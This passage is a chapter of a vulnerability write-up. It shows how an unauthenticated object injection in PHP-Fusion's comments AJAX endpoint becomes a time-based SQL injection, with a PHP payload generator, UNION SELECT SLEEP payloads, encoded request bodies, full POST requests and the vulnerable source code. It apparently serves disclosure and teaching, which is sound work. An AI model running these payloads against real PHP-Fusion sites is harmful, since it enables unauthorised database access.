In the previous chapter, we highlighted the presence of a unauthenticated POI. After a quick analysis of the actions carried out on the created object, we are now able to transform this POI into a SQL injection.

How?

In order to demonstrate the SQLi, we will use the code below to generate a valid payload allowing us to complete the exploit.

File: gen.php

<?php

$ar["comment_item_id"] = "INJECT_HERE_1";
$ar["comment_item_type"] = "INJECT_HERE_2";
var_dump($ar);

$payload = urlencode(base64_encode(serialize($ar)));
var_dump($payload);

?>

If we modify one of the two injection points presented above and use the payload generated within the request from the previous chapter, we realize that the vulnerability is triggered.

For example, replace "INJECT_HERE_2" by "' UNION SELECT SLEEP(0)-- - '":

File: gen.php

<?php

$ar["comment_item_id"] = "INJECT_HERE_1";
$ar["comment_item_type"] = "' UNION SELECT SLEEP(0)-- - '";
var_dump($ar);

$payload = urlencode(base64_encode(serialize($ar)));
var_dump($payload);

?>

Then generate our payload:

▶ php gen.php
array(2) {
  ["comment_item_id"]=>
  string(13) "INJECT_HERE_1"
  ["comment_item_type"]=>
  string(29) "' UNION SELECT SLEEP(0)-- - '"
}
string(156) "YToyOntzOjE1OiJjb21tZW50X2l0ZW1faWQiO3M6MTM6IklOSkVDVF9IRVJFXzEiO3M6MTc6ImNvbW1lbnRfaXRlbV90eXBlIjtzOjI5OiInIFVOSU9OIFNFTEVDVCBTTEVFUCgwKS0tIC0gJyI7fQ%3D%3D"

And use it as our payload in the request:

Request

POST /projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 172

comment_options=YToyOntzOjE1OiJjb21tZW50X2l0ZW1faWQiO3M6MTM6IklOSkVDVF9IRVJFXzEiO3M6MTc6ImNvbW1lbnRfaXRlbV90eXBlIjtzOjI5OiInIFVOSU9OIFNFTEVDVCBTTEVFUCgwKS0tIC0gJyI7fQ%3D%3D

We then notice that the server takes about 120 milliseconds to respond.

alt text

Now substitute "INJECT_HERE_2" with "' UNION SELECT SLEEP(5)-- - '":

File: gen.php

<?php

$ar["comment_item_id"] = "INJECT_HERE_1";
$ar["comment_item_type"] = "' UNION SELECT SLEEP(5)-- - '";
var_dump($ar);

$payload = urlencode(base64_encode(serialize($ar)));
var_dump($payload);

?>

It gives us the following payload:

▶ php gen.php
array(2) {
  ["comment_item_id"]=>
  string(13) "INJECT_HERE_1"
  ["comment_item_type"]=>
  string(29) "' UNION SELECT SLEEP(5)-- - '"
}
string(156) "YToyOntzOjE1OiJjb21tZW50X2l0ZW1faWQiO3M6MTM6IklOSkVDVF9IRVJFXzEiO3M6MTc6ImNvbW1lbnRfaXRlbV90eXBlIjtzOjI5OiInIFVOSU9OIFNFTEVDVCBTTEVFUCg1KS0tIC0gJyI7fQ%3D%3D"

That we use in the request below:

Request:

POST /projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 172

comment_options=YToyOntzOjE1OiJjb21tZW50X2l0ZW1faWQiO3M6MTM6IklOSkVDVF9IRVJFXzEiO3M6MTc6ImNvbW1lbnRfaXRlbV90eXBlIjtzOjI5OiInIFVOSU9OIFNFTEVDVCBTTEVFUCg1KS0tIC0gJyI7fQ%3D%3D

We can see that the server puts at about 10,000 milliseconds to respond.

alt text

Why?

In order to understand why the POI allows us to perform a SQL injection, let’s dive into the code the function getInstance().

File: <ROOT>/includes/classes/PHPFusion/Feedback/Comments.inc

public static function getInstance(array $params = [], $key = 'Default') {

    if (dbcount('(settings_name)', DB_SETTINGS, "settings_name=:jq", [':jq' => 'comments_jquery'])) {
        dbquery("DELETE FROM ".DB_SETTINGS." WHERE settings_name=:jq", [':jq' => 'comments_jquery']);
    }

    if (!isset(self::$instances[$key])) {
        self::$instances[$key] = new static();
        self::$key = $key;
        $params['comment_key'] = $key;
        self::$params = $params + self::$params;
        self::setInstance($key);
    }

    return self::$instances[$key];
}

As we can see above, the function takes as first parameter, an array (array that we control thanks to the POI). The property $instances of the Comments object not being set, instantiations are performed to finally call the function setInstance().

File: <ROOT>/includes/classes/PHPFusion/Feedback/Comments.inc

private static function setInstance($key) {
    $obj = self::getInstance([], $key);
    $obj->setParams(self::$params);
    $obj->setEmptyCommentData();
    $obj->checkPermissions();
    $obj->execute_CommentUpdate();
    $obj->get_Comments();
}

Function setInstance() will actually call checkPermissions(), which is the function that allows us to inject SQL sequences using $this->getParams('comment_item_id') and $this->getParams('comment_item_type').

File: <ROOT>/includes/classes/PHPFusion/Feedback/Comments.inc

private function checkPermissions() {
    $my_id = fusion_get_userdata('user_id');
    if (dbcount("(rating_id)", DB_RATINGS, "
        rating_user='".$my_id."'
        AND rating_item_id='".$this->getParams('comment_item_id')."'
        AND rating_type='".$this->getParams('comment_item_type')."'
        "
    )
    ) {
        $this->replaceParam('comment_allow_vote', FALSE); // allow ratings
    }
    if (dbcount("(comment_id)", DB_COMMENTS, "
        comment_name='".$my_id."' AND comment_cat='0'
        AND comment_item_id='".$this->getParams('comment_item_id')."'
        AND comment_type='".$this->getParams('comment_item_type')."'
        "
        )
        && $this->getParams('comment_once')
    ) {
        $this->replaceParam('comment_allow_post', FALSE); // allow post
    }
}

The SQL injection is therefore a Time Based SQL injection for which you can consult the POC. Since the call to the dbcount() function is made twice, it is necessary to note that the delay established using the SLEEP(n) function will be multiplied by two.

The author of the application has been informed of the vulnerability.

Ref